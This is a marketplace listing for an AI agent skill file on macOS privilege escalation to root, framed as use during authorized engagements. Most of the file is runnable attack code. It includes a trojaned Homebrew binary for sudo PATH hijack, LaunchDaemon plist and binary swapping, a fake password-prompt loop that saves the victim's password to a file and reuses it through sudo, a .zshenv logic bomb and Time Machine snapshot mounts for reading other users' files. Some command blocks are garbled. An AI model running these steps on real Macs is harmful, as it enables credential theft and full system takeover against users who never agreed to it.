performing-macos-privilege-escalation

Escalating from a low-privileged user (or unprivileged process) to root on macOS during authorized engagements by abusing the user-preserved sudo PATH, Dock/app masquerading, sudo-password phishing, AuthorizationExecuteWithPrivileges helpers, vulnerable privileged XPC/LaunchDaemon helpers, writable LaunchDaemon plists, PackageKit/zsh logic bombs, kernel credential races, and Time Machine snapshot mounts.

Ir para a instalação

Repositório: xalgord/xalgorix
Última atividade na origem: 6 de junho de 2026 às 16:41
Idioma detectado do SKILL.md: inglês
Estrelas: 813
Forks: 146

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Voltar à pesquisa Voltar à instalação

name	performing-macos-privilege-escalation
description	Escalating from a low-privileged user (or unprivileged process) to root on macOS during authorized engagements by abusing the user-preserved sudo PATH, Dock/app masquerading, sudo-password phishing, AuthorizationExecuteWithPrivileges helpers, vulnerable privileged XPC/LaunchDaemon helpers, writable LaunchDaemon plists, PackageKit/zsh logic bombs, kernel credential races, and Time Machine snapshot mounts.
domain	cybersecurity
subdomain	macos-security
tags	["penetration-testing","macos","privilege-escalation"]
version	1.0
author	xalgorix
license	Apache-2.0

Performing macOS Privilege Escalation

When to Use

During authorized macOS assessments after gaining initial code execution as a standard user
When a privileged helper, LaunchDaemon, or third-party updater is present and may expose a root-reachable interface
When you can social-engineer a desktop user (Dock impersonation, fake password prompts) for a sudo-capable credential
When evaluating SIP-bypass chains for persistence in protected system locations
Note that most Linux/Unix privesc tricks (sudo misconfig, writable PATH binaries) also apply to macOS

Critical: Techniques Most Often Missed

1. sudo keeps the user PATH (Homebrew binary hijack)

Unlike Linux, macOS preserves the user's PATH across sudo. If /opt/homebrew/bin (Homebrew, almost always present on developer Macs) precedes system paths, you can plant a trojaned ls, git, etc. and wait for the victim to run sudo <binary>.

cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
[ "$(id -u)" -eq 0 ] && whoami > /tmp/privesc
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls
# wait for: sudo ls

How to CONFIRM: run echo $PATH and verify a user-writable dir precedes /usr/bin; check sudo env | grep PATH retains it; confirm the planted binary fires as root (/tmp/privesc contains root).

2. Vulnerable privileged XPC / LaunchDaemon helpers

The dominant third-party privesc class: a root LaunchDaemon exposes a Mach/XPC service from /Library/PrivilegedHelperTools that fails to validate the client, validates too late (PID race), or runs a user-controlled path/script.

ls -l /Library/PrivilegedHelperTools /Library/LaunchDaemons
plutil -p /Library/LaunchDaemons/*.plist 2>/dev/null | rg 'MachServices|Program|ProgramArguments|Label'
for f in /Library/PrivilegedHelperTools/*; 
   
  codesign -dvv --entitlements :-  2>&1 | rg 
  strings  | rg

sudo launchctl bootout system /Library/LaunchDaemons/com.apple.securemonitor.plist
cp /tmp/root.sh /Library/PrivilegedHelperTools/securemonitor && chmod 755 /Library/PrivilegedHelperTools/securemonitor
# rewrite the plist ProgramArguments to your binary, then:
sudo launchctl bootstrap system /Library/LaunchDaemons/com.apple.securemonitor.plist

whoami; id; groups
sudo -l 2>/dev/null            # cached/allowed sudo commands
echo $PATH                     # look for writable dirs before /usr/bin
ls -ld /opt/homebrew/bin /usr/local/bin   # writable Homebrew paths
dscl . -read /Groups/admin GroupMembership # who is admin

ls -l@ /Library/LaunchDaemons /Library/LaunchAgents
ls -l /Library/PrivilegedHelperTools
# find world/group-writable plists or targets owned by non-root
find /Library/LaunchDaemons -perm -0002 -o -perm -0020 2>/dev/null
log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'  # catch helper calls

user=$(whoami)
while true; do
  read -s -p "Password: " pw; echo
  dscl . -authonly "$user" "$pw" && break    # validates without sudo
done
printf '%s\n' "$pw" > /tmp/.pass
# reuse non-interactively: clear quarantine, copy LaunchDaemons, etc.
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update

pkgutil --expand-full Target.pkg /tmp/target-pkg
find /tmp/target-pkg -type f \( -name preinstall -o -name postinstall \) -exec head -n1 {} \;
rg -n '^#!/bin/(zsh|bash)' /tmp/target-pkg
echo 'id > /tmp/pkg-root' >> ~/.zshenv   # logic bomb; fires on next vulnerable zsh installer

tmutil localsnapshot
tmutil listlocalsnapshots /
mkdir /tmp/snap
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.<date>.local /System/Volumes/Data /tmp/snap
ls /tmp/snap/Users/admin_user

Concept	Description
sudo PATH preservation	macOS keeps the user's `PATH` under `sudo`, enabling binary hijack in writable dirs like `/opt/homebrew/bin`
Privileged helper	Root daemon in `/Library/PrivilegedHelperTools` exposing an XPC/Mach service; weak client validation = privesc
AuthorizationExecuteWithPrivileges	Deprecated but functional root-spawn API; abused via `security_authtrampoline` and writable helper paths
SIP	System Integrity Protection; blocks even root from writing `/System`, `/bin`, `/usr` unless an entitlement bypass exists
TCC	Privacy gate (FDA, camera, etc.); a captured password/FDA app expands reach
PackageKit logic bomb	PKG post-install scripts that source `~/.zshenv`/`~/.zshrc` as root
PID race / responsible process	Time-of-check/time-of-use weakness in XPC peer validation

Tool	Purpose
codesign	Inspect helper signatures, TeamID, and entitlements (`-dvv --entitlements :-`)
plutil	Parse/print LaunchDaemon and preference plists
launchctl	bootout/bootstrap/load daemons to trigger swapped plists
dscl	Validate passwords (`-authonly`), enumerate users/groups/admins
pkgutil	Expand PKG installers to inspect pre/postinstall scripts
log stream/show	Observe `security_authtrampoline` and daemon activity
tmutil / mount_apfs	Create and mount Time Machine snapshots for full file read

## macOS Privilege Escalation Finding

**Vulnerability**: Local Privilege Escalation to root
**Severity**: High (CVSS 7.8)
**Technique**: Writable privileged helper / sudo PATH hijack / PackageKit logic bomb
**Host**: macHost.local (macOS 14.4, SIP enabled)

### Reproduction Steps
1. As user `staff`, enumerate helpers: ls -l /Library/PrivilegedHelperTools
2. Identify com.vendor.helper running script from user-writable /Applications/Vendor/run.sh
3. Replace run.sh payload; trigger helper via its XPC client
4. Confirm: id returns uid=0(root)

### Evidence
| Artifact | Detail |
|----------|--------|
| Helper | /Library/PrivilegedHelperTools/com.vendor.helper |
| Trigger | XPC method runHelperScript: |
| Proof | /tmp/privesc contains "root" |

### Recommendation
1. Validate XPC peers by audit token + code-signing requirement, not PID/bundle-id
2. Store helper scripts in root-owned, non-user-writable locations
3. Set LaunchDaemon plists and targets to root:wheel 644/755
4. Sign installers and avoid zsh/bash post-install scripts; patch to fixed macOS builds
5. Restrict admin group membership and audit Homebrew PATH ordering